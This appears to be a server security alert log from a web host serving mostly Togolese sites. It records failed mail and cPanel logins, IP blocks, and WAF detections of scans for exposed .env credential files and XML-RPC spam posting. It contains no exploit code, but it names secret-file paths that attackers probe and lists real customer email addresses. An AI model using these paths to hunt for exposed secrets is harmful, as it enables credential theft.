2026-06-13 20:00:37 dovecot_plain authenticator failed for H=(bo3o7c4kmbi1n2is86d) [162.243.23.83]:56510: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.93.247.100
country_id: 1269750
domain: www.soeurndetogo.com
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.local.bak||User:frtwilql||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 20:06:21 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-13 20:06:33 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:40288: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.200.23.192
country_id: 2589581
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9f34dadbb9a1284fedf20805166fa11af25f9187||Title:7tntng41rpqb5n48||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 20:09:12 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:15310: 535 Incorrect authentication data (set_id=zhao)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 20:09:10 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77220020
name: IM360 WAF: DoS vulnerability in Apache 2.2.17 - 2.2.21 (CVE-2012-0021)
abuser: 156.146.60.144
country_id: 2782113
domain: togodailynews.tg
description:
IM360 WAF: DoS vulnerability in Apache 2.2.17 - 2.2.21 (CVE-2012-0021)||MVN:REQUEST_URI||MV:/||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.95.153.50
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/9d8c79 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 13 20:11:07 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.49.79.103
country_id: 2661886
description:
[2026-06-13 20:13:00 +0000] info [cpaneld] 13.49.79.103 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.90.7
country_id: 3865483
description:
Jun 13 20:15:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.90.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 20:17:01 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 20:17:03 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:24619: 535 Incorrect authentication data (set_id=krodriguez)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.39
country_id: 2750405
description:
Jun 13 20:17:09 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.39
country_id: 2750405
description:
2026-06-13 20:17:11 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.39]:59476: 535 Incorrect authentication data (set_id=seee)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 2.156.243.89
country_id: 3175395
description:
2.156.243.89 - - [13/Jun/2026:20:18:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131865&pdata=https%253A%252F%252Ftogodailynews.tg%252Fliste-des-pharmacies-de-garde-de-la-semaine-du-25-mars-au-01-avril-2024-a-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781381891 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/liste-des-pharmacies-de-garde-de-la-semaine-du-25-mars-au-01-avril-2024-a-lome/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.7974.1954 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:2.156.243.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.170.25
country_id: 6252001
description:
[2026-06-13 20:20:06 +0000] info [cpaneld] 136.227.170.25 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 13 20:19:44 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.212.225.47
country_id: 1880251
description:
[2026-06-13 20:21:00 +0000] info [cpaneld] 129.212.225.47 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.130.149.117
country_id: 6251999
domain: belali.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/backend/.env.backup||User:dmmkifel||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.132.219.70
country_id: 2635167
description:
212.132.219.70 - - [13/Jun/2026:20:23:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710883&pdata=https%253A%252F%252Fsoeurndetogo.com%252Fanniversaire-pere-aumonier%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781382237 HTTP/2.0" 302 0 soeurndetogo.com "https://soeurndetogo.com/anniversaire-pere-aumonier/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.1544.1180 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.132.219.70


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.49.224.164
country_id: 453733
description:
2026-06-13 20:24:58 dovecot_plain authenticator failed for H=(rblbz39phql7m6gkelvd5xmn5nm) [37.49.224.164]:41498: 535 Incorrect authentication data (set_id=admin@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.49.224.164
country_id: 453733
description:
Jun 13 20:24:56 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.49.224.164 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.114.13.119
country_id: 248816
description:
[2026-06-13 20:25:27 +0000] info [cpaneld] 93.114.13.119 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 20:25:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.144.190.155
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:198.144.190.155||TA:198.144.190.155||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 20:25:50 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:41418: 535 Incorrect authentication data (set_id=drago)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.73.3
country_id: 1819730
description:
Jun 13 20:27:07 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.73.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.73.3
country_id: 1819730
description:
2026-06-13 20:27:09 dovecot_login authenticator failed for H=42-200-73-3.static.imsbiz.com (ip4.gtt.net) [42.200.73.3]:34747: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 88.212.18.173
country_id: 3057568
description:
88.212.18.173 - - [13/Jun/2026:20:26:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6778212&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-de-nouveaux-ponts-pour-desenclaver-les-zones&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781382384 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-de-nouveaux-ponts-pour-desenclaver-les-zones" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:88.212.18.173


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.155.126.211
country_id: 3017382
domain: www.kics.kpmg.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:kpmg||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 13 20:28:43 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:28:56 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.9.161
country_id: 6252001
description:
[2026-06-13 20:29:08 +0000] info [cpaneld] 195.63.9.161 - ylhgcaui "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.24.58.195
country_id: 6252001
domain: www.v2.misstogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.backup||User:tgmisefred||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:30:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.179
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-33.62.197.45.179||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.192.20.41
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-34.185.192.20.41||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 20:34:29 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.196.140
country_id: 3895114
domain: misstogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/server/.env.backup||User:tgmisefred||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:34:52 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 20:34:31 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:33071: 535 Incorrect authentication data (set_id=passbolt)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 8.231.134.62
country_id: 6252001
domain: cfmi.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/app/.env.backup||User:afdim||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:20:35:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182999&pdata=http%253A%252F%252Fselithgroup.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781382921 HTTP/1.1" 302 0 selithgroup.com "http://selithgroup.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.50.163.13
country_id: 6252001
domain: www.direct7.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env.production||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.50.163.13
country_id: 6252001
domain: www.direct7.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.old||User:nrzector||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.196.140
country_id: 3895114
domain: misstogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/frontend/.env.backup||User:tgmisefred||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 148.222.185.182
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-36.148.222.185.182||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.50.163.13
country_id: 6252001
domain: www.direct7.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/backend/.env.backup||User:nrzector||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.62
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-38.62.197.45.62||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.137.215.217
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-38.45.137.215.217||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.181.173.140
country_id: 6252001
domain: www.societenouvelledeboisson.snb.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/frontend/.env.production||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.181.173.140
country_id: 6252001
domain: www.societenouvelledeboisson.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/app/.env.backup||User:bighostingsnbd||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:41:30 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 20:43:05 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 20:43:07 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:15448: 535 Incorrect authentication data (set_id=!!!)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.163.161
country_id: 6252001
description:
[2026-06-13 20:44:20 +0000] info [cpaneld] 136.227.163.161 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.178.2.234
country_id: 3865483
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/wp-content/uploads/2022/04/Des-femmes-en-pleine-activite-de-peche-sur-le-fleuve-Mono.jpg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 13 20:46:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:47:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.3.137.177
country_id: 6252001
description:
[2026-06-13 20:47:54 +0000] info [webmaild] 50.3.137.177 - contact@dany2.mairie.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: User contact@dany2.mairie.tg has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.245.234.162
country_id: 298795
description:
2026-06-13 20:48:01 dovecot_plain authenticator failed for H=(kcjzcyclxtvq3weyhhvpnmp) [178.245.234.162]:41072: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: soena.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; 22111317PG Build/TKQ1.221114.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023108040 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/31.8.4 ByteLocale/pt ByteFullLocale/pt Region/BR AppId/1233 Spark/1.4.3-alpha.5 AppVersion/31.8.4 BytedanceWebview/d8a21c6||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.83.162
country_id: 6252001
description:
[2026-06-13 20:51:09 +0000] info [cpaneld] 134.199.83.162 - mouss "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mouss (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 20:52:09 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:11189: 535 Incorrect authentication data (set_id=smtptest)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.92.84.18
country_id: 1522867
description:
[2026-06-13 20:52:11 +0000] info [cpaneld] 45.92.84.18 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:51:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 20:52:07 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 20:52:56 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.255.151.130
country_id: 3144096
description:
[2026-06-13 20:56:07 +0000] info [webmaild] 178.255.151.130 - david.ayivi@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:56:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:56:23 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.120.252.30
country_id: 1269750
domain: ciieeinternational.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:49569.ciieeinternational.org||ServerName:ciieeinternational.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fce6eb41d862871af73bd8b11d9c345d37347389||Title:0x95efba72||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.188.239.83
country_id: 6252001
description:
54.188.239.83 - - [13/Jun/2026:20:56:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726107&pdata=https%253A%252F%252Farse.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781384197 HTTP/2.0" 302 0 arse.tg "https://arse.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.188.239.83


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 13 20:56:56 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.165
country_id: 2993457
description:
Jun 13 20:57:19 ns5 pure-ftpd[2693343]: (?@194.165.16.165) [INFO] New connection from 194.165.16.165


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 105.159.221.53
country_id: 2542007
description:
105.159.221.53 - - [13/Jun/2026:20:58:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775958&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781384311 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2566.1148 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:105.159.221.53


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.113.188.38
country_id: 3865483
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 31.135.248.253
country_id: 2017370
description:
2026-06-13 20:59:31 H=([31.135.248.253]) [31.135.248.253]:59979 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 20:59:33 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 21:00:52 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 21:00:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:62318: 535 Incorrect authentication data (set_id=test2017)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.160.129.122
country_id: 934292
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.245.67.155
country_id: 1562822
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.219.213.237
country_id: 3996063
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.28.17.5
country_id: 1605651
description:
[2026-06-13 21:02:05 +0000] info [webmaild] 202.28.17.5 - netflix@emt.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.219.213.237
country_id: 3996063
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 31.135.248.253
country_id: 2017370
description:
2026-06-13 21:02:57 H=([31.135.248.253]) [31.135.248.253]:49532 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 13 21:03:57 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-13 21:04:41 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:42158: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.6.15.204
country_id: 3625428
description:
[2026-06-13 21:05:07 +0000] info [cpaneld] 190.6.15.204 - caissederet "GET /login/?login_only=1&user=caissederet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
